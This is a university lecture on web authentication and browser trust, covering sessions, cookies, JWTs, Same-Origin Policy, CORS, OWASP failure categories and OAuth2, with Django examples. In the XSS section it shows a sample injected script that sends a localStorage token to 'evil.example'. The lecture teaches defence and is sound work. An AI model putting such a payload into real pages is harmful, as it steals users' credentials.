kciebiera

View on GitHub

Lecture 6

Authentication, Authorisation, and Browser Trust

WWW 25/26

Identity · Sessions · Cookies · Same-Origin Policy · CORS · OWASP · OAuth2


What this lecture is about

This lecture is about ideas, not framework wiring.

The lab will cover the Django implementation details.


Two Different Questions

## Authentication **Who are you?** Proof of identity. - password - one-time code - token - certificate
## Authorisation **What can you do?** Control of actions. - read a post - edit your own profile - delete any comment - access the admin panel

Many security bugs come from treating these as the same thing.


A classic mistake

Suppose a system checks:

but forgets to check:

Then you get bugs like:

This is broken access control, not a login bug.


The web is stateless

HTTP does not remember previous requests.

GET /dashboard HTTP/1.1
Host: mysite.com

That request does not inherently say:

So web apps must add state on top of HTTP.


Three ways to add state

  1. Send credentials every time
    • simple idea
    • terrible UX
    • risky if the password travels constantly
  2. Client-side token
    • often used in APIs
    • discussed later in the course
  3. Server-side session + browser cookie
    • today’s main model
    • common in Django and many traditional web apps

JWT in one sentence

A JWT (JSON Web Token) is a token that carries signed claims, often something like:

header.payload.signature

Typical claims might include:

Unlike a classic server-side session, the token itself carries data.


Example JWT contents

Example JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiI0MiIsIm5hbWUiOiJBbGljZSIsInJvbGUiOiJzdHVkZW50IiwiaWF0IjoxNzQyNjM0MDAwLCJleHAiOjE3NDI2Mzc2MDB9.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Decoded idea:

header = {
  "alg": "HS256",
  "typ": "JWT"
}

payload = {
  "sub": "42",
  "name": "Alice",
  "role": "student",
  "iat": 1742634000,
  "exp": 1742637600
}

Important:


Sessions vs JWTs

## Session model - browser stores a random session id - server stores the real state - server can invalidate centrally - common for server-rendered apps
## JWT model - client stores a signed token - token carries claims - server verifies signature - common in APIs and distributed systems

Neither model is automatically “more secure”.

The trade-offs are different.


Common JWT misconceptions

Wrong idea

“JWT means no server-side state and therefore security becomes simpler.”

Better idea

JWTs move some problems around:

So JWT is not a silver bullet. It is a different architecture choice.


Access token vs refresh token

Many JWT-based systems use two token types:

Token Purpose Lifetime
Access token sent with API requests short
Refresh token used to obtain a new access token longer

Idea:

This is why “JWT auth” is often really a token pair design, not a single token.


JWT refresh flow

1. User logs in
2. Server issues:
   - access token
   - refresh token
3. Access token expires
4. Client sends refresh token to a refresh endpoint
5. Server validates it
6. Server returns a new access token

Security consequence:

So refresh tokens usually need stricter protection than access tokens.


Where do browser tokens live?

This question is as important as the token format.

Common options:

So token storage is a browser-security question, not just an API-design question.


Session idea in one sentence

A session is server-side memory about a browser.

The browser does not usually carry the whole login state.

Instead it carries a reference:

sessionid = "a8f3c9..."

What matters is that this value is:

The server maps that random string to data such as:


Session flow

Browser                          Server
  |                                |
  | POST /login                    |
  | username + password            |
  |------------------------------->|
  |                                | verify credentials
  |                                | create session
  |                                | session key = a8f3c9
  | 200 OK                         |
  | Set-Cookie: sessionid=a8f3c9   |
  |<-------------------------------|
  |                                |
  | GET /profile                   |
  | Cookie: sessionid=a8f3c9       |
  |------------------------------->|
  |                                | load session
  |                                | identify user
  |<-------------------------------|

Django anchor: what the server reconstructs

In Django, the session/cookie machinery is usually summarized for you as:

def profile(request):
    if request.user.is_authenticated:
        return HttpResponse(f"Hello, {request.user.username}")
    return redirect("/login/")

Important idea:


Cookie idea in one sentence

A cookie is a small key-value pair that the browser stores and sends automatically.

Example:

Set-Cookie: sessionid=a8f3c9; HttpOnly; Secure; SameSite=Lax

Important point:

So a session cookie must be protected like a password surrogate.


What makes cookies dangerous

Cookies are convenient because the browser sends them automatically.

That same convenience creates risk:

So cookies solve the state problem, but create a trust problem.


Cookie attributes are security policy

Attribute Why it matters
HttpOnly JavaScript cannot read the cookie directly
Secure Cookie is sent only over HTTPS
SameSite=Lax Limits when cookies travel on cross-site requests
Expires / Max-Age Defines lifetime
Path / Domain Defines where the cookie is sent

These are not cosmetic settings.

They define the browser’s behavior at a security boundary.


Cookie scope: SameSite, Path, Domain

Example:

Set-Cookie: sessionid=abc123; SameSite=Lax; Path=/app/; Domain=example.com

What this means:

Cookie scope: SameSite, Path, Domain cont

Security intuition:

Making scope wider than necessary increases risk.


HTTPS is part of web security

Without HTTPS, a network attacker may be able to:

So transport security is not “just deployment”.

It is part of how web authentication stays trustworthy in transit.

Secure cookies help, but only together with HTTPS.


Security starts with trust boundaries

In web security, always ask:

This leads directly to:


What is an origin?

An origin is:

scheme + host + port

Examples:

URL Origin
https://example.com https://example.com:443
http://example.com different origin
https://api.example.com different origin
https://example.com:8443 different origin

So even small URL differences can cross a security boundary.


Same-Origin Policy (SOP)

The Same-Origin Policy is the browser’s default isolation rule.

Roughly:

Without SOP, any site you visit could read:

SOP is one of the core reasons the web is usable at all.


What SOP blocks

If JavaScript from evil.com runs in your browser, SOP normally prevents it from reading data from bank.com, such as:

This is a read barrier between origins.


What SOP does not block

SOP does not mean “cross-origin traffic is impossible”.

Browsers still allow many cross-origin actions:

So an attacker may sometimes cause a request to happen, even if they cannot read the response.

That distinction is crucial.


Cross-origin sending vs cross-origin reading

The important distinction is:

So one origin may be able to trigger traffic to another origin, while still being unable to inspect the response body.

This is exactly the gap that makes browser security subtle.


Where SameSite helps - and where it does not

SameSite is useful, but students often overestimate it.

It helps because:

It does not mean:

Security is layered, not one-setting deep.


XSS changes the whole picture

Cross-Site Scripting (XSS) means attacker-controlled script runs in your origin.

That matters because malicious script may:

Example:

<!-- attacker submits this as a comment -->
<script>
  fetch("https://evil.example/steal?c=" + encodeURIComponent(localStorage.getItem("token")))
</script>

If your site renders that comment as HTML instead of escaping it, the script runs in your origin, not the attacker’s.

Important nuance:

So XSS breaks many assumptions behind both token storage and cookie-based auth.


CORS: a different problem

CORS stands for Cross-Origin Resource Sharing.

CORS is about:

It does not decide who is authenticated or authorized.


SOP and CORS together

Think of it like this:

Server response headers decide this, for example:

Access-Control-Allow-Origin: https://app.example

So CORS is a browser-enforced sharing policy.


Simple CORS example

Suppose JavaScript on:

https://app.example

wants to fetch:

https://api.example/data

If the API sends the right CORS headers, the browser may allow the script to read the response.

If not, the request may still be sent, but the browser will block the script from seeing the response.

Again: sending and reading are different questions.


CORS as a picture

JavaScript on app.example
        |
        | fetch("https://api.example/data")
        v
Browser -------------------------------------------------> api.example
        |                                                   |
        | <-----------------------------------------------  |
        |   Access-Control-Allow-Origin: https://app.example
        |
        | browser decides whether JS may read the response
        v
Script gets data   OR   browser blocks access

The browser is enforcing the policy on behalf of the server.


What is a preflight request?

For some cross-origin requests, the browser first sends:

OPTIONS /resource

This is the preflight.

It asks the server:

The browser checks the answer before sending the real request.


Common CORS misunderstandings

Wrong idea

“If I enable CORS, I have secured my API.”

Correct idea

CORS is not authentication and not authorisation.

It only tells the browser whether JavaScript may read the response.

So:

Never use CORS as your only access control.


Passwords are a special case of trust

Passwords are not just another field in a database.

If password storage fails, users are harmed beyond your app because many people reuse passwords.

That is why password handling is treated as a major security topic:


Never store plaintext passwords

Correct idea:

store = slow_hash(salt + password)

Important ingredients:

Goal:


Why fast hashes are not enough

Algorithms like plain SHA-256 are designed to be fast.

That is good for checksums. It is bad for password storage.

If an attacker steals a password database, they can try millions or billions of guesses quickly unless the scheme is deliberately slow.

This is why systems use password hashers such as:


Threats against authentication

Even if passwords are hashed correctly, auth still fails if the system allows:

Authentication is a system, not one function call.


Password reset is part of authentication

Account recovery is effectively an alternative login path.

If password reset is weak, the whole authentication system is weak.

Good reset design needs:

In practice, the security of the user’s email account becomes part of your security model.


Django anchor: authentication vs authorisation

A short Django example shows the distinction:

from django.contrib.auth.decorators import login_required

@login_required
def delete_post(request, post_id):
    post = Post.objects.get(pk=post_id)
    if request.user != post.author:
        return HttpResponseForbidden("Not your post")
    ...

@login_required answers “who are you?”

The ownership check answers “are you allowed to do this?”


Authorisation models

After login, the next question is:

what is this user allowed to do?

Common models:

Real systems often combine these.


A subtle but common bug

A page can look secure in the UI but still be insecure on the server.

Example:

This is why security cannot live only in:

The server must enforce the rule.


OWASP as a map of failure modes

OWASP is useful not because students should memorize a list, but because it organizes recurring classes of mistakes.

For this lecture, the most relevant categories are:

Think of OWASP as a vocabulary for discussing how systems fail.


OWASP: Broken Access Control

This means the system fails to enforce “who may do what”.

Typical examples:

Typical consequences:

This is often about missing checks, not broken crypto.


OWASP: Identification and Authentication Failures

This means identity proof or session management is weak.

Examples:

Typical consequences:

This category is where many “login bugs” really live.


OWASP: Cryptographic Failures

This is not only about advanced math.

Often it means basic misuse:

Consequence:

Crypto is powerful, but only when used appropriately.


OWASP: Injection

Injection happens when untrusted input becomes part of a command or query.

Examples:

Auth systems are common targets because attackers want to:

Frameworks help, but unsafe string construction can reintroduce the problem.


OWASP: Security Misconfiguration

This is where many “small” mistakes become major incidents.

Examples:

These are often boring mistakes with serious consequences.


Which protections come from the framework?

Frameworks like Django help by default with things such as:

But the framework does not decide:

Secure defaults help; they do not replace thinking.


JWT is not OAuth2

Students often mix these up:

Thing What it is
JWT a token format for carrying claims
OAuth2 a protocol/framework for delegated authorization and related identity flows

Relationship:

So asking “should we use JWT or OAuth2?” is mixing two different layers of the system.


OAuth2: what problem does it solve?

Without OAuth2:

With OAuth2:

Example:

This is useful when:


OAuth2 at a high level

User            Your app            Provider
  |                 |                  |
  | click login     |                  |
  |---------------->|                  |
  |                 | redirect         |
  |                 |----------------->|
  | authenticate at provider           |
  |<---------------------------------->|
  |                 | callback with code
  |                 |<-----------------|
  |                 | exchange code    |
  |                 |----------------->|
  |                 | receive token    |
  |                 |<-----------------|
  | logged in       |                  |
  |<----------------|                  |

The user authenticates to the provider, not to your app directly.


OAuth2 roles and artifacts

It helps to separate the moving parts:

Thing Meaning
Resource owner usually the user
Client your app
Authorization server provider component that issues codes/tokens
Resource server API that accepts access tokens
Authorization code short-lived value returned after user approval
Access token credential for API calls

Students often confuse the code, token, and session. They are different artifacts with different purposes.


OAuth2 authorization code flow, more explicitly

1. Your app redirects the browser to the provider
2. The provider authenticates the user
3. The provider asks for consent
4. The provider redirects back with a short-lived code
5. Your server exchanges the code for a token
6. Your server optionally calls the provider API
7. Your app creates its own local session

This last step matters:


Why redirect_uri matters

The provider should send the user back only to an expected callback URL:

https://yourapp.example/accounts/github/login/callback/

Why this matters:

So the callback URL is part of the trust boundary, not just a routing detail.


Important OAuth2 security ideas

In modern OAuth2 discussions you will also hear about PKCE:

Common confusion:

You still need sane sessions, access control, and secure storage.


Where Django fits in this story

Django is useful here not because it changes the ideas, but because it gives concrete implementations of them:

So the framework is the example. The browser and security model are the subject.


Django anchor: social login as a thin layer on top

In Django, a social-login package can make OAuth2 look deceptively simple:

path("accounts/", include("allauth.urls"))

That one line hides a lot of machinery:

So it is useful precisely because the underlying idea is more complicated than the code suggests.


What the lab will cover

In the lab, you will implement these ideas in Django:

So today you should leave with a mental model of:


Mental model summary

  1. HTTP is stateless
  2. Sessions add server-side memory
  3. Cookies carry credentials automatically
  4. SOP limits cross-origin reads
  5. CORS selectively relaxes SOP for reading
  6. Browser security depends on the distinction between sending and reading
  7. Auth says who you are
  8. Authorisation says what you can do
  9. OWASP names common ways these systems fail

Key takeaways

  1. Authentication and authorisation are different problems
  2. Sessions solve statelessness, but cookies become sensitive credentials
  3. Same-Origin Policy blocks many cross-origin reads, not all cross-origin requests
  4. CORS is a sharing policy, not an auth mechanism
  5. Cross-origin sending and cross-origin reading are different security questions
  6. Password security depends on slow salted hashes and good system design
  7. OWASP categories help you reason about real failure modes
  8. The lab is where you will wire these ideas into Django

Questions?


Further reading:

  • Django docs: Authentication in Django
  • OWASP Authentication Cheat Sheet
  • OWASP Top 10
  • MDN: Same-Origin Policy
  • MDN: CORS
  • RFC 6749 - OAuth 2.0 Authorization Framework